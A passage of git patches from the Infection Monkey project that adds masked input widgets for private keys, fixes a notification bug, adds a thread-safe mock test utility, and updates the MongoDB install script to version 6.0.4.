100px; height: 16px; +} From 4148f280d6a9489823370dcb3b4ca16057919d1e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Feb 2023 13:33:27 +0100 Subject: [PATCH 0045/1338] UI: Add custom SensitiveTextareaInput component --- .../ui-components/SensitiveTextareaInput.js | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.js b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.js new file mode 100644 index 00000000000..9f38f77b593 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.js @@ -0,0 +1,45 @@ +import React from 'react'; +import {InputGroup, FormControl} from 'react-bootstrap'; + +class SensitiveTextareaInput extends React.PureComponent { + constructor(props) { + super(props); + + this.state = { + hidden: false + }; + } + + toggleShow = () => { + console.log(this.state.hidden); + this.setState({hidden: ! this.state.hidden}); + } + + onChange(e) { + var value = e.target.value; + return this.props.onChange(value === '' ? this.props.options.emptyValue : value); + } + + render() { + return ( +
+ + this.onChange(event)} + /> + + + + + + +
+ ); + } +} + +export default SensitiveTextareaInput; From 1dd6ef065dc8781639240823aa342ba44b7f38cf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Feb 2023 13:39:20 +0100 Subject: [PATCH 0046/1338] UI: Use SensitiveTextareaInput component on private_key in UISchema --- .../cc/ui/src/components/configuration-components/UiSchema.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index ee700536865..1e7c6084929 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -3,6 +3,7 @@ import InfoBox from './InfoBox'; import TextBox from './TextBox.js'; import WarningBox from './WarningBox'; import SensitiveTextInput from '../ui-components/SensitiveTextInput'; +import SensitiveTextareaInput from '../ui-components/SensitiveTextareaInput'; import PluginSelectorTemplate from './PluginSelectorTemplate'; export default function UiSchema(props) { @@ -35,7 +36,7 @@ export default function UiSchema(props) { 'ui:widget': 'TextareaWidget' }, private_key: { - 'ui:widget': 'TextareaWidget' + 'ui:widget': SensitiveTextareaInput } } } From 0b2b6cd54abd4af001327efad35ad1e38e7613f1 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Feb 2023 13:43:22 +0100 Subject: [PATCH 0047/1338] Changelog: Add security entry for fixing plaintext private key in UI --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b609e20aa0a..1a16f5ddf13 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,7 +11,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Removed ### Fixed ### Security - +- Fixed plaintext private key in SSHKey pair list in UI. #2950 ## [2.0.0] - 2023-02-08 ### Added From 361d191829f83c2144d26ed89805d33e09abf13f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Feb 2023 17:46:33 +0100 Subject: [PATCH 0048/1338] UI: Refactor SensitiveText widget in typescript --- .../ui-components/SensitiveTextInput.js | 42 ----------------- .../ui-components/SensitiveTextInput.tsx | 33 ++++++++++++++ .../ui-components/SensitiveTextareaInput.js | 45 ------------------- .../ui-components/SensitiveTextareaInput.tsx | 35 +++++++++++++++ 4 files changed, 68 insertions(+), 87 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.js create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.tsx delete mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.js create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.js b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.js deleted file mode 100644 index 6dca37157f1..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.js +++ /dev/null @@ -1,42 +0,0 @@ -import React from 'react'; -import {InputGroup, FormControl} from 'react-bootstrap'; - -class SensitiveTextInput extends React.PureComponent { - constructor(props) { - super(props); - - this.state = { - hidden: false - }; - } - - toggleShow = () => { - this.setState({hidden: ! this.state.hidden}); - } - - onChange(e) { - var value = e.target.value; - return this.props.onChange(value === '' ? this.props.options.emptyValue : value); - } - - render() { - return ( -
- - this.onChange(event)} - /> - - - - - - -
- ); - } -} - -export default SensitiveTextInput; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.tsx new file mode 100644 index 00000000000..028b151adf7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.tsx @@ -0,0 +1,33 @@ +import React, {useState} from 'react'; +import {InputGroup, FormControl} from 'react-bootstrap'; + +function SensitiveTextInput(props){ + const [hidden, setHidden] = useState(false); + + const toggleShow = () =>{ + setHidden(! hidden); + } + + const onChange = (value) => { + return props.onChange(value === '' ? props.options.emptyValue : value); + } + + return ( +
+ + onChange(event.target.value)} + /> + + + + + + +
+ ); +} + +export default SensitiveTextInput; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.js b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.js deleted file mode 100644 index 9f38f77b593..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.js +++ /dev/null @@ -1,45 +0,0 @@ -import React from 'react'; -import {InputGroup, FormControl} from 'react-bootstrap'; - -class SensitiveTextareaInput extends React.PureComponent { - constructor(props) { - super(props); - - this.state = { - hidden: false - }; - } - - toggleShow = () => { - console.log(this.state.hidden); - this.setState({hidden: ! this.state.hidden}); - } - - onChange(e) { - var value = e.target.value; - return this.props.onChange(value === '' ? this.props.options.emptyValue : value); - } - - render() { - return ( -
- - this.onChange(event)} - /> - - - - - - -
- ); - } -} - -export default SensitiveTextareaInput; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.tsx new file mode 100644 index 00000000000..c77ff05b6db --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.tsx @@ -0,0 +1,35 @@ +import React, {useState} from 'react'; +import {InputGroup, FormControl} from 'react-bootstrap'; + +function SensitiveTextareaInput(props){ + const [hidden, setHidden] = useState(false); + + const toggleShow = () =>{ + setHidden(! hidden); + } + + const onChange = (value) => { + return props.onChange(value === '' ? props.options.emptyValue : value); + } + + return ( +
+ + onChange(event.target.value)} + /> + + + + + + +
+ ); +} + +export default SensitiveTextareaInput; From 9174a0e8b3a9e74bd7ccd0cf6f77f7888981df6c Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 15 Feb 2023 10:52:47 +0200 Subject: [PATCH 0049/1338] UI: Extract sensitive input into it's own component The main benefit is that we reduce the duplication in styling and icons --- .../ui-components/SensitiveInput.tsx | 20 ++++++++ .../ui-components/SensitiveTextInput.tsx | 44 ++++++++---------- .../ui-components/SensitiveTextareaInput.tsx | 46 ++++++++----------- 3 files changed, 59 insertions(+), 51 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveInput.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveInput.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveInput.tsx new file mode 100644 index 00000000000..88d1b4977c3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveInput.tsx @@ -0,0 +1,20 @@ +import React, {useState} from 'react'; +import {InputGroup, FormControl} from 'react-bootstrap'; + +function SensitiveTextInput(props){ + + return ( +
+ + {props.inputComponent} + + + + + + +
+ ); +} + +export default SensitiveTextInput; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.tsx index 028b151adf7..a3601950d60 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.tsx +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextInput.tsx @@ -1,33 +1,27 @@ import React, {useState} from 'react'; -import {InputGroup, FormControl} from 'react-bootstrap'; +import {FormControl} from 'react-bootstrap'; +import SensitiveInput from './SensitiveInput'; -function SensitiveTextInput(props){ - const [hidden, setHidden] = useState(false); +function SensitiveTextInput(props) { + const [hidden, setHidden] = useState(false); - const toggleShow = () =>{ - setHidden(! hidden); - } + const onChange = (value) => { + return props.onChange(value === '' ? props.options.emptyValue : value); + } - const onChange = (value) => { - return props.onChange(value === '' ? props.options.emptyValue : value); - } + let inputComponent = ( + onChange(event.target.value)} + /> + ) - return ( -
- - onChange(event.target.value)} - /> - - - - - - -
- ); + return ( + setHidden(!hidden)} + hidden={hidden}/> + ); } export default SensitiveTextInput; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.tsx index c77ff05b6db..78d61ffb0d1 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.tsx +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/SensitiveTextareaInput.tsx @@ -1,35 +1,29 @@ import React, {useState} from 'react'; -import {InputGroup, FormControl} from 'react-bootstrap'; +import {FormControl} from 'react-bootstrap'; +import SensitiveInput from './SensitiveInput'; function SensitiveTextareaInput(props){ - const [hidden, setHidden] = useState(false); + const [hidden, setHidden] = useState(false); - const toggleShow = () =>{ - setHidden(! hidden); - } + const onChange = (value) => { + return props.onChange(value === '' ? props.options.emptyValue : value); + } - const onChange = (value) => { - return props.onChange(value === '' ? props.options.emptyValue : value); - } + let inputComponent = ( + onChange(event.target.value)} + /> + ) - return ( -
- - onChange(event.target.value)} - /> - - - - - - -
- ); + return ( + setHidden(!hidden)} + hidden={hidden}/> + ); } export default SensitiveTextareaInput; From a7fb8bfc50a5f99a79560057be1fc7b04c5bd515 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 15 Feb 2023 11:40:02 +0200 Subject: [PATCH 0050/1338] UI: Improve SSH key credential titles --- .../ArrayFieldTitleTemplate.tsx | 13 +++++++++++++ .../components/configuration-components/UiSchema.js | 2 ++ .../configuration/propagation/credentials.js | 1 + 3 files changed, 16 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/ArrayFieldTitleTemplate.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ArrayFieldTitleTemplate.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ArrayFieldTitleTemplate.tsx new file mode 100644 index 00000000000..42b4e7905b0 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ArrayFieldTitleTemplate.tsx @@ -0,0 +1,13 @@ +import React from 'react'; + +function ArrayFieldTitleTemplate(props) { + const { id, title } = props; + const sequenceNumber = id.replace(/[^0-9]/g, ''); + return ( +
+ {title} {sequenceNumber} +
+ ); +} + +export default ArrayFieldTitleTemplate; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 1e7c6084929..89b9684dafd 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -5,6 +5,7 @@ import WarningBox from './WarningBox'; import SensitiveTextInput from '../ui-components/SensitiveTextInput'; import SensitiveTextareaInput from '../ui-components/SensitiveTextareaInput'; import PluginSelectorTemplate from './PluginSelectorTemplate'; +import ArrayFieldTitleTemplate from './ArrayFieldTitleTemplate'; export default function UiSchema(props) { const UiSchema = { @@ -32,6 +33,7 @@ export default function UiSchema(props) { }, exploit_ssh_keys: { items: { + 'ui:TitleFieldTemplate': ArrayFieldTitleTemplate, public_key: { 'ui:widget': 'TextareaWidget' }, diff --git a/monkey/monkey_island/cc/ui/src/services/configuration/propagation/credentials.js b/monkey/monkey_island/cc/ui/src/services/configuration/propagation/credentials.js index 8c9fe24056e..48e58b315a0 100644 --- a/monkey/monkey_island/cc/ui/src/services/configuration/propagation/credentials.js +++ b/monkey/monkey_island/cc/ui/src/services/configuration/propagation/credentials.js @@ -43,6 +43,7 @@ const CREDENTIALS = { 'default': [], 'items': { 'type': 'object', + 'title': 'SSH keypair', 'properties': { 'public_key': { 'title': 'Public Key', From 953aafb2639cdb59b883565f33988125f5e3974f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Feb 2023 15:31:47 +0530 Subject: [PATCH 0051/1338] UI: Add 'notificationSent' state and related logic --- monkey/monkey_island/cc/ui/src/components/Main.tsx | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 1c301023a6d..f2a61d7699f 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -61,6 +61,7 @@ class AppComponent extends AuthComponent { infectionDone: false, completedSteps: new CompletedSteps(false), islandMode: undefined, + notificationSent: false, }; this.interval = undefined; this.setMode(); @@ -128,6 +129,10 @@ class AppComponent extends AuthComponent { this.state.completedSteps.reportDone ) }); + + if (!this.state.completedSteps.infectionDone) { + this.setState({notificationSent: false}) + } }); this.showInfectionDoneNotification(); @@ -294,12 +299,16 @@ class AppComponent extends AuthComponent { 'Infection is done! Click here to go to the report page.', url, notificationIcon); + + this.setState({notificationSent: true}); } } shouldShowNotification() { // No need to show the notification to redirect to the report if we're already in the report page - return (this.state.completedSteps.infectionDone && !window.location.pathname.startsWith(Routes.Report)); + return (this.state.completedSteps.infectionDone && + !window.location.pathname.startsWith(Routes.Report) && + !this.state.notificationSent); } } From 3f795ce422b1b2266cf89f150462ac90e8fa50df Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Feb 2023 15:33:08 +0530 Subject: [PATCH 0052/1338] Changelog: Add entry for fixing notification spam bug --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1a16f5ddf13..3c03ee145f4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed ### Removed ### Fixed +- Notification spam bug. #2731 + ### Security - Fixed plaintext private key in SSHKey pair list in UI. #2950 From 83f9b4961e04172f2170d9b09b49264a819265d4 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 15 Feb 2023 11:06:29 +0000 Subject: [PATCH 0053/1338] UI: Removed unused state variables in Main.tsx --- monkey/monkey_island/cc/ui/src/components/Main.tsx | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index f2a61d7699f..8c41b6f41c7 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -56,9 +56,6 @@ class AppComponent extends AuthComponent { constructor(props) { super(props); this.state = { - loading: true, - runMonkey: false, - infectionDone: false, completedSteps: new CompletedSteps(false), islandMode: undefined, notificationSent: false, From ff72d8c06ad590f2b9fdaff32fd7cad526cf7def Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 15 Feb 2023 11:32:35 +0000 Subject: [PATCH 0054/1338] UI: Simplify and fixup notification sending logic --- .../cc/ui/src/components/Main.tsx | 44 +++++++------------ .../components/side-menu/CompletedSteps.tsx | 6 +-- 2 files changed, 19 insertions(+), 31 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 8c41b6f41c7..8825e946ce3 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -58,7 +58,6 @@ class AppComponent extends AuthComponent { this.state = { completedSteps: new CompletedSteps(false), islandMode: undefined, - notificationSent: false, }; this.interval = undefined; this.setMode(); @@ -119,20 +118,19 @@ class AppComponent extends AuthComponent { // update status: if infection (running and shutting down of all agents) finished didAllAgentsShutdown().then(allAgentsShutdown => { + let infectionDone = this.state.completedSteps.runMonkey && allAgentsShutdown; + if(this.state.completedSteps.infectionDone === false + && infectionDone){ + this.showInfectionDoneNotification(); + } this.setState({ completedSteps: new CompletedSteps( this.state.completedSteps.runMonkey, - this.state.completedSteps.runMonkey && allAgentsShutdown, + infectionDone, this.state.completedSteps.reportDone ) }); - - if (!this.state.completedSteps.infectionDone) { - this.setState({notificationSent: false}) - } }); - - this.showInfectionDoneNotification(); } ) } @@ -285,28 +283,18 @@ class AppComponent extends AuthComponent { } showInfectionDoneNotification() { - if (this.shouldShowNotification()) { - const hostname = window.location.hostname; - const port = window.location.port; - const protocol = window.location.protocol; - const url = `${protocol}//${hostname}:${port}${Routes.SecurityReport}`; - - Notifier.start( - 'Monkey Island', - 'Infection is done! Click here to go to the report page.', - url, - notificationIcon); - - this.setState({notificationSent: true}); - } + const hostname = window.location.hostname; + const port = window.location.port; + const protocol = window.location.protocol; + const url = `${protocol}//${hostname}:${port}${Routes.SecurityReport}`; + + Notifier.start( + 'Monkey Island', + 'Infection is done! Click here to go to the report page.', + url, + notificationIcon); } - shouldShowNotification() { - // No need to show the notification to redirect to the report if we're already in the report page - return (this.state.completedSteps.infectionDone && - !window.location.pathname.startsWith(Routes.Report) && - !this.state.notificationSent); - } } export default AppComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx index 099e5136d13..fbba49c06ea 100644 --- a/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx +++ b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx @@ -6,8 +6,8 @@ export class CompletedSteps { public constructor(runMonkey?: boolean, infectionDone?: boolean, reportDone?: boolean) { - this.runMonkey = runMonkey || false; - this.infectionDone = infectionDone || false; - this.reportDone = reportDone || false; + this.runMonkey = runMonkey; + this.infectionDone = infectionDone; + this.reportDone = reportDone; } } From c62460d4550b12c88824e8f9c1904ae943cdf3b0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Feb 2023 17:16:07 +0530 Subject: [PATCH 0055/1338] UI: Show infection done notification if user is on any page other than the report page --- .../cc/ui/src/components/Main.tsx | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 8825e946ce3..0e45ed97d55 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -283,18 +283,19 @@ class AppComponent extends AuthComponent { } showInfectionDoneNotification() { - const hostname = window.location.hostname; - const port = window.location.port; - const protocol = window.location.protocol; - const url = `${protocol}//${hostname}:${port}${Routes.SecurityReport}`; - - Notifier.start( - 'Monkey Island', - 'Infection is done! Click here to go to the report page.', - url, - notificationIcon); + if (!window.location.pathname.startsWith(Routes.Report)) { + const hostname = window.location.hostname; + const port = window.location.port; + const protocol = window.location.protocol; + const url = `${protocol}//${hostname}:${port}${Routes.SecurityReport}`; + + Notifier.start( + 'Monkey Island', + 'Infection is done! Click here to go to the report page.', + url, + notificationIcon); + } } - } export default AppComponent; From 4dd040c9612dc8332f4f8a093e3524cc1d842229 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 08:21:22 -0500 Subject: [PATCH 0056/1338] Project: Remove hiring notice from README.md --- README.md | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/README.md b/README.md index ac7944f6867..58c1785d520 100644 --- a/README.md +++ b/README.md @@ -20,16 +20,6 @@ The Infection Monkey is comprised of two parts: To read more about the Monkey, visit [akamai.com/infectionmonkey](https://www.akamai.com/infectionmonkey). -## 💥 We're Hiring 💥 -We are looking for a software engineering manager with a passion for UX and -cybersecurity to join the Infection Monkey development team. This is a remote -position and is open anywhere in Israel. You can learn more about Infection -Monkey on our [website](https://www.akamai.com/infectionmonkey). - -For more information, or to apply, see the official job post: - - [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224) - - ## Screenshots From e94e716d71c111b2e21b934be363089163e52931 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 09:20:35 -0500 Subject: [PATCH 0057/1338] UT: Add utils.ThreadSafeMagicMock --- monkey/tests/utils.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py index bb6e19bfed7..d5f5c078c45 100644 --- a/monkey/tests/utils.py +++ b/monkey/tests/utils.py @@ -1,8 +1,10 @@ import ctypes import filecmp import os +import threading from pathlib import Path from typing import Iterable +from unittest.mock import MagicMock from common.utils.file_utils import get_binary_io_sha256_hash @@ -62,3 +64,17 @@ def _assert_dircmp_equal(dircmp: filecmp.dircmp): for subdir_cmp in dircmp.subdirs.values(): _assert_dircmp_equal(subdir_cmp) + + +class ThreadSafeMagicMock: + def __init__(self, *args, **kwargs): + self._lock = threading.Lock() + self._mock = MagicMock() + + def __call__(self, *args, **kwargs): + with self._lock: + return self._mock(*args, **kwargs) + + def __getattr__(self, name): + with self._lock: + return getattr(self._mock, name) From 7f9893781f292954df47a5e0698629750e16f2ab Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 07:57:03 -0500 Subject: [PATCH 0058/1338] UT: Use a thread-safe MagicMock implementation in test_ip_scanner.py --- .../unit_tests/infection_monkey/master/test_ip_scanner.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 0f2a11a2b57..ac2af7b6e36 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -4,6 +4,7 @@ import pytest from tests.unit_tests.infection_monkey.master.mock_puppet import MockPuppet +from tests.utils import ThreadSafeMagicMock from common import OperatingSystem from common.agent_configuration.agent_sub_configurations import ( @@ -56,7 +57,7 @@ def stop(): @pytest.fixture def callback(): - return MagicMock() + return ThreadSafeMagicMock() def assert_port_status(port_scan_data, expected_open_ports: Set[int]): From e2d4660194eeca6ab5ec9bd7a4e696ea3929ee92 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 09:26:16 -0500 Subject: [PATCH 0059/1338] Island: Remove support for Ubuntu 16.04 MongoDB 6.0.4 does not support Ubuntu 16.04 --- monkey/monkey_island/linux/install_mongo.sh | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index 891a1ea29ea..0ede8047fdc 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -8,10 +8,7 @@ os_version_monkey=$(cat /etc/issue) export os_version_monkey MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mongodb -if [[ ${os_version_monkey} == "Ubuntu 16.04"* ]]; then - echo Detected Ubuntu 16.04 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-4.2.20.tgz" -elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]]; then +if [[ ${os_version_monkey} == "Ubuntu 18.04"* ]]; then echo Detected Ubuntu 18.04 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.20.tgz" elif [[ ${os_version_monkey} == "Ubuntu 19.10"* ]]; then From 75ef9b42feb112171b704163950f68f037d6e223 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 09:28:45 -0500 Subject: [PATCH 0060/1338] Island: Remove support for Ubuntu 19.10 Ubuntu 19.10 is EOL --- monkey/monkey_island/linux/install_mongo.sh | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index 0ede8047fdc..f88fdc3d2ac 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -11,9 +11,6 @@ MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mon if [[ ${os_version_monkey} == "Ubuntu 18.04"* ]]; then echo Detected Ubuntu 18.04 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.20.tgz" -elif [[ ${os_version_monkey} == "Ubuntu 19.10"* ]]; then - echo Detected Ubuntu 19.10 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.20.tgz" elif [[ ${os_version_monkey} == "Ubuntu 20.04"* ]]; then echo Detected Ubuntu 20.04 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu2004-4.4.14.tgz" From 476fb295d0c9a83780bd990df3261559a080895b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 09:30:48 -0500 Subject: [PATCH 0061/1338] Island: Remove support for Debian 9 MongoDB 6.0.4 does not support Debian 9 --- monkey/monkey_island/linux/install_mongo.sh | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index f88fdc3d2ac..8f4a9cd3729 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -17,9 +17,6 @@ elif [[ ${os_version_monkey} == "Ubuntu 20.04"* ]]; then elif [[ ${os_version_monkey} == "Ubuntu 22.04"* ]]; then echo Detected Ubuntu 22.04 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu2004-4.4.14.tgz" -elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]]; then - echo Detected Debian 9 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-4.2.20.tgz" elif [[ ${os_version_monkey} == "Debian GNU/Linux 10"* ]]; then echo Detected Debian 10 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-4.2.20.tgz" From 8485f72ac8060e951280ea4f3fd8dc5b96719972 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Feb 2023 09:32:19 -0500 Subject: [PATCH 0062/1338] Island: Upgrade MongoDB version to 6.0.4 --- monkey/monkey_island/linux/install_mongo.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index 8f4a9cd3729..ae35007c872 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -10,19 +10,19 @@ MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mon if [[ ${os_version_monkey} == "Ubuntu 18.04"* ]]; then echo Detected Ubuntu 18.04 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.20.tgz" + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-6.0.4.tgz" elif [[ ${os_version_monkey} == "Ubuntu 20.04"* ]]; then echo Detected Ubuntu 20.04 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu2004-4.4.14.tgz" + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu2004-6.0.4.tgz" elif [[ ${os_version_monkey} == "Ubuntu 22.04"* ]]; then echo Detected Ubuntu 22.04 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu2004-4.4.14.tgz" + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu2204-6.0.4.tgz" elif [[ ${os_version_monkey} == "Debian GNU/Linux 10"* ]]; then echo Detected Debian 10 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-4.2.20.tgz" + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-6.0.4.tgz" elif [[ ${os_version_monkey} == "Kali GNU/Linux"* ]]; then echo Detected Kali Linux - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-4.2.20.tgz" + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-6.0.4.tgz" else echo Unsupported OS exit 1 From 0df6dfcecab49c0b797c75119c6f90e61379b382 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: 